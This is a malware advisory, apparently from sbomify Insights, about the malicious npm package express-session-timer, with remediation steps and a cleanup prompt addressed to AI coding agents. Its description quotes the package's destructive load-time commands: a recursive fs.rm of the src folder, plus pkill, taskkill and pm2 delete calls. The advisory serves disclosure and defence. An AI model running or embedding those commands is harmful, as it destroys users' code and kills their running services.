# MAL-2026-16065: Malicious code in express-session-timer (npm)


- **Type:** Malicious package
- **Package:** `express-session-timer` (npm)
- **Published:** 9 Sep 2026

## What is MAL-2026-16065?

MAL-2026-16065 is a malicious package in express-session-timer, published on 9 Sep 2026. 

### Official description

express-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `<cwd>/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f "node.*${process.cwd()}"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.

## What should I do about MAL-2026-16065?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-16065 is a malicious package: express-session-timer (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-16065/ (Markdown: https://insights.sbomify.com/MAL-2026-16065/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-16065

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-16065/
Summaries are generated and may contain mistakes; the official description above is the record.